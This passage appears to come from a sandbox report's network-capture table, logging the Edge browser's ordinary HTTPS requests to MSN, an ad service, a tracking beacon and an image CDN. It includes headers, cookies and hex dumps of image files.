2024-11-28 14:17:58 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 16:24:13 GMT Accept-Ranges: bytes ETag: "8d3dafd6e71fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=03480115B31365D60A331450B23A64BD; domain=.msn.com; expires=Tue, 23-Dec-2025 14:17:58 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=03480115B31365D60A331450B23A64BD; domain=c.msn.com; expires=Tue, 23-Dec-2025 14:17:58 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Thu, 05-Dec-2024 14:17:58 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Thu, 28-Nov-2024 14:27:58 GMT; path=/; SameSite=None; Secure; Date: Thu, 28 Nov 2024 14:17:57 GMT Connection: close Content-Length: 42
2024-11-28 14:17:58 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.6	49888	20.75.60.91	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:59 UTC	1009	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=03480115B31365D60A331450B23A64BD&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=5ca00d21117d464ec74c6b5b804abfa4 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=03480115B31365D60A331450B23A64BD; _EDGE_S=F=1&SID=002C77539302677924126216926166F5; _EDGE_V=1
2024-11-28 14:17:59 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2795 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132756-T700343882-C128000000002114949+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002114949+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Thu, 28 Nov 2024 14:17:58 GMT Connection: close
2024-11-28 14:17:59 UTC	2795	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 54 75 63 73 6f 6e 2c 20 41 72 69 7a 6f 6e 61 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 53 61 67 75 61 72 6f 2b 4e 61 74 69 6f 6e 61 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Tucson, Arizona\",\"cta\":\"https:\/\/www.bing.com\/search?q=Saguaro+Nationa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.6	49836	18.165.220.110	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:59 UTC	925	OUT	GET /b?rn=1732803473899&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=03480115B31365D60A331450B23A64BD&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 14:18:00 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Thu, 28 Nov 2024 14:17:59 GMT Accept-CH: UA, Platform, Arch, Model, Mobile Location: /b2?rn=1732803473899&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=03480115B31365D60A331450B23A64BD&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=11C4e6bb7cc4b0ade2b967c1732803479; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=11C4e6bb7cc4b0ade2b967c1732803479; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 X-Cache: Miss from cloudfront Via: 1.1 f0e28236e1c4da7e6a02d601c5d0ceca.cloudfront.net (CloudFront) X-Amz-Cf-Pop: BAH53-P1 X-Amz-Cf-Id: ZM0skVgTrxqTbxYPdFKCZn-ducz5b6uiop4ojSlTrArNy08ycCDx8w==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.6	49889	3.171.139.124	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:18:02 UTC	1012	OUT	GET /b2?rn=1732803473899&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=03480115B31365D60A331450B23A64BD&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=11C4e6bb7cc4b0ade2b967c1732803479; XID=11C4e6bb7cc4b0ade2b967c1732803479
2024-11-28 14:18:02 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Thu, 28 Nov 2024 14:18:02 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 faa1f1cd9e8aec6c42fd30b6d46e49f4.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P8 X-Amz-Cf-Id: Yhuh_z686abZmzPWDD2lwoDBYpmYUu8IMg_8CLfGq-Gv6wvqe8AhUg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.6	49892	23.44.133.17	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:18:02 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyO4.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 14:18:02 UTC	519	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyO4 Last-Modified: Tue, 26 Nov 2024 18:30:46 GMT X-Source-Length: 79668 X-Datacenter: eastus X-ActivityId: 40cb2f75-639b-4750-9682-bac2ee48475f Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 79668 Cache-Control: public, max-age=274297 Expires: Sun, 01 Dec 2024 18:29:39 GMT Date: Thu, 28 Nov 2024 14:18:02 GMT Connection: close
2024-11-28 14:18:02 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-28 14:18:02 UTC	16384	IN	Data Raw: 79 75 9f 13 51 d2 12 eb 7e 23 c4 a5 d2 c6 3c ca 88 5d b5 64 eb 4e de b3 e3 23 67 48 4a 39 f1 8c f9 d6 b0 67 1f c5 c4 a8 d7 a6 94 ed eb 3e 23 c1 2f 48 76 f1 5b a4 50 c9 48 56 76 f5 6a f7 26 9c dd 48 47 30 a8 d2 87 29 a1 69 05 f2 92 50 f8 2a 9a 46 94 85 32 b0 12 09 0b 13 25 de a4 db 95 94 94 2c 4d 0b 3a d4 8b 25 34 84 94 f2 50 16 a0 8a 99 09 32 10 93 b5 24 ac 42 28 36 25 6f 34 a5 2e 43 85 b1 b0 ad d3 36 6a c7 6a 69 49 bd 6d 28 27 94 e0 4e 09 06 a4 60 05 8b 2d 43 43 53 c0 d8 96 ae c5 95 4a c3 4b 40 37 d0 b4 90 86 41 b1 04 92 16 a2 19 b1 9c ed a5 25 68 41 a5 21 25 6e 99 b1 eb 25 2e 94 15 89 a1 63 4e d0 ac ea 42 5b 1a d3 48 5a 2c 56 12 6b 4f 20 58 b2 8c 03 46 df 3a 96 f7 6c 59 58 25 ac 82 63 57 e1 4b dd f8 56 13 b1 29 29 4b 2d b1 6d 16 24 34 a1 94 d0 1a 5b 67 Data Ascii: yuQ~#<]dN#gHJ9g>#/Hv[PHVvj&HG0)iP*F2%,M:%4P2$B(6%o4.C6jjiIm('N`-CCSJK@7A%hA!%n%.cNB[HZ,VkO XF:lYX%cWKV))K-m$4[g
2024-11-28 14:18:02 UTC	2627	IN	Data Raw: 50 95 dd 14 60 4e f1 e1 2a 56 96 ee f9 e3 ec 57 4e 4d ce e7 3e a1 67 56 6d 6c 73 4f 4d 06 e7 0d d3 e8 82 72 c0 18 f0 0b ae 73 dd 48 35 75 c0 f0 43 d2 30 de 06 ef d4 2d c6 59 71 14 e4 55 da 7c ee 5a 68 f1 5d 2f dd 9c 08 d9 47 b5 02 a3 7e 21 bd 6e c5 39 d3 c3 5f b5 6c ec 3c 54 ad 14 d9 7f 9a 52 e8 de da 63 95 1e ab 57 01 0c bf 61 de 88 d7 7c 44 9f 3e 0a 96 ba b5 20 1e 29 83 a9 c7 9f a4 ad 6c 03 56 1f 03 b8 a1 55 6b bd c8 de 68 e4 88 f2 08 12 09 dc 7c 56 80 d8 a5 8e 3c 07 6a cf 93 48 c7 2c e0 87 55 ed bc 15 d1 ae 00 ff 00 4c 0d e0 f2 13 ea 91 f9 94 7c 91 a8 02 8d 52 a8 26 e7 1b 8d 3e 78 29 8d cc ad 73 4c 59 e3 17 a1 0c b6 b8 7c 8e 3a e6 f4 70 c2 df 94 3f 55 31 ce 61 66 68 8b 24 0a 19 bc d1 da 81 59 d6 36 75 a2 10 e8 98 1b 69 02 ea 71 94 30 1f 64 7e 6e 77 42 Data Ascii: P`N*VWNM>gVmlsOMrsH5uC0-YqU\|Zh]/G~!n9_l<TRcWa\|D> )lVUkh\|V<jH,UL\|R&>x)sLY\|:p?U1afh$Y6uiq0d~nwB
2024-11-28 14:18:02 UTC	16384	IN	Data Raw: 14 b6 9d 78 6b 0a 6d 79 be 63 92 66 e8 ef 8a b8 4c 8b ac ef 2d c4 cc 75 2e 68 7b c5 0d cc 78 fe 93 54 f0 a0 23 1c f7 c0 0f ef 80 7d f0 d5 3e 40 fd a3 8d 04 52 40 31 b9 b0 a2 37 28 83 de aa f3 6c 56 06 9c 40 a6 61 6f 54 4f 9c 7e 64 07 f5 19 4e 20 1c b0 e6 ec 24 1d cd 74 84 d9 b9 99 6c 0d f9 c5 92 c0 d0 63 02 4c d1 16 42 98 fe a5 9d e8 64 1a b1 2c 01 86 00 b6 28 d4 b8 af ea 72 9d 27 46 f7 dd f3 38 91 69 b8 36 e4 47 da fd 33 15 bf cd 99 f8 17 33 aa 60 8e eb 5b 4d 15 5a 26 22 9e 3b d0 87 5a 44 d5 91 38 4d 1c 36 eb 44 3d 4e 5d 1d cc 99 9f 83 b6 9a 14 79 cb cc 35 b3 0b 05 81 ad c7 58 85 da 31 8a db 8c fd ec 1b a6 ea 1c 33 66 1a 6f bc 4c 0c 62 90 87 d4 f5 0d ce 75 6a 66 6e 34 d1 ea b1 b9 8e 65 0d a9 9a dc 2b 30 4f 1b f9 a4 74 be 90 c0 0c cd 32 e9 fe d8 bd 74 a8 Data Ascii: xkmycfL-u.h{xT#}>@R@17(lV@aoTO~dN $tlcLBd,(r'F8i6G33`[MZ&";ZD8M6D=N]y5X13foLbujfn4e+0Ot2t
2024-11-28 14:18:03 UTC	16384	IN	Data Raw: a7 bc d1 ac 5d e7 1a 10 b4 2e 00 c3 f8 b1 d0 38 02 16 b5 c4 b3 52 88 1c 2c 8d 47 b1 14 44 52 79 7e 88 9a 27 b7 16 39 06 a3 c5 ed e1 1d 8d 94 5c 06 9c 96 3b fc 3f e1 f4 41 3d 18 37 56 fc ae 07 d6 94 52 48 9e e8 ed e4 52 1c c2 3d de 7f f7 26 27 28 e2 b6 22 9e 85 c3 17 7e 66 38 73 12 a3 1e 95 e2 89 61 fc d1 fc 50 ba 63 3b 61 f3 bd 37 dc 3f f1 79 dc 71 5b d7 9b 35 0e 31 e9 b3 7e 02 75 41 f4 25 04 e5 bc 5e c7 8f ca 57 a0 39 d6 b0 1d cd ff 00 2a ba 66 fc 3c fc 16 b5 cf 41 a5 e6 8c 62 0f 02 b2 5a bd 4e 95 94 51 98 27 f1 4f aa 59 cb 3f e2 6f 63 4f 68 5a e6 7f 6c 8d 3b de 5a 5a 71 56 85 e9 48 64 7c cc de c8 f4 94 ba 31 66 51 e2 b5 cc 8e 8a 9e 6e 05 ab 63 6f 35 e8 6a 37 e0 67 2f 15 87 2d a2 fc ae 5f f6 ab 99 b9 53 81 4e 05 5e f5 ab b7 19 58 e5 8e 5e 0b 2a 64 7f 84 Data Ascii: ].8R,GDRy~'9\;?A=7VRHR=&'("~f8saPc;a7?yq[51~uA%^W9f<AbZNQ'OY?ocOhZl;ZZqVHd\|1fQnco5j7g/-_SN^X^d
2024-11-28 14:18:03 UTC	7952	IN	Data Raw: a5 6e 3d da 6c 91 c2 25 09 d9 79 6c 18 9d 43 9d 25 75 d5 0c 53 9f e7 6a 28 11 7d 1b c7 9e 49 8e c2 07 af 34 13 58 fc 5a f6 2d 04 9d 28 17 47 22 84 73 6f c5 47 f3 b5 2d 33 44 aa a0 a4 9c db 28 5a 1d b4 fa 28 db d5 de 9a 80 9a 73 8d d4 6e 58 33 0e 34 eb 50 62 94 56 b6 2f 46 98 36 9e d7 33 e1 c5 74 c6 60 69 a0 9d 53 0b 8b a4 8c 28 d8 88 0e 33 05 72 9c 6d a8 97 65 99 ee 9a 44 72 5d 5d 39 7b 43 5c 43 c7 c2 f1 58 7f 70 25 79 73 9a e8 31 07 6e 29 83 dc 44 49 1b 3c d2 b8 cf 6e f7 37 19 fc 5e 85 dd 3f 49 99 35 b2 03 4c fc d9 75 f2 e8 d4 6b 33 fb 57 3d ff 00 49 cb 7f fa 3d 40 07 e1 cd 6c 53 60 70 bf f9 42 86 c7 3d 86 6b 11 aa 79 62 ba 0d ea 60 0f 94 d2 2f bf c9 c6 8b 96 6b b9 8f 96 53 f7 fd ed 7d 99 f3 87 37 33 e9 3d 6e 5d 23 24 e6 0f 8b 2c 87 8e 44 9e 4b 96 ec b7 Data Ascii: n=l%ylC%uSj(}I4XZ-(G"soG-3D(Z(snX34PbV/F63t`iS(3rmeDr]]9{C\CXp%ys1n)DI<n7^?I5Luk3W=I=@lS`pB=kyb`/kS}73=n]#$,DK
2024-11-28 14:18:03 UTC	4072	IN	Data Raw: 34 6d da 6e 2a d6 18 51 a9 73 e6 49 a8 44 39 14 91 33 18 e1 72 23 72 da 36 eb 46 24 61 4c 72 56 48 f3 75 17 a2 72 ca 55 36 a0 3e ed 3a a1 16 a9 d8 29 40 05 d0 7d 52 56 71 9a 0f 05 8f 89 4b 0d 16 89 34 cc ca de ec 52 54 5b 4d 29 60 03 86 f4 51 48 ae 22 eb f1 2b 0e 65 88 40 98 a3 b2 85 90 e2 6e 27 f4 40 35 78 58 73 06 db d2 c4 1a 6e 4a e7 65 87 50 68 8c 29 bd 28 50 eb d6 97 0b 7c 14 71 9e c1 24 49 e1 b7 c1 69 cc 63 e2 c9 be 91 49 b7 c1 55 3d 25 0a 4b a4 52 ab a8 76 06 0f 1d aa 13 b3 18 6d 10 78 a5 6c 18 20 cf ea b7 a5 26 57 68 f3 c5 08 e6 34 63 ea 80 e6 c9 38 1c 7c 84 1d 11 a2 d9 a3 7a d4 63 1d 42 60 cc 20 5e 0f 6a cd 25 33 7a 86 72 a0 df 22 8b a7 8a 23 40 68 3c b8 ad 54 14 80 e8 a5 69 22 8f 14 b7 85 bd e7 51 1e d5 94 e7 2c 5a aa f6 b9 ac ab 04 a5 44 52 6d Data Ascii: 4mn*QsID93r#r6F$aLrVHurU6>:)@}RVqK4RT[M)`QH"+e@n'@5xXsnJePh)(P\|q$IicIU=%KRvmxl &Wh4c8\|zcB` ^j%3zr"#@h<Ti"Q,ZDRm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.6	49895	23.44.133.17	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:18:02 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 14:18:02 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL Last-Modified: Sat, 23 Nov 2024 13:20:48 GMT X-Source-Length: 1658 X-Datacenter: westus X-ActivityId: 4d48a1b6-f53b-4e77-9d86-8bdbb1376117 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 1658 Cache-Control: public, max-age=385423 Expires: Tue, 03 Dec 2024 01:21:45 GMT Date: Thu, 28 Nov 2024 14:18:02 GMT Connection: close
2024-11-28 14:18:02 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.6	49890	23.44.133.17	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:18:02 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 14:18:02 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 13:51:58 GMT X-Datacenter: northeu X-ActivityId: 03b090a8-ff0d-477a-9433-19affde5f1c7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=128290 Expires: Sat, 30 Nov 2024 01:56:12 GMT Date: Thu, 28 Nov 2024 14:18:02 GMT Connection: close
2024-11-28 14:18:02 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.6	49893	23.44.133.17	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:18:02 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
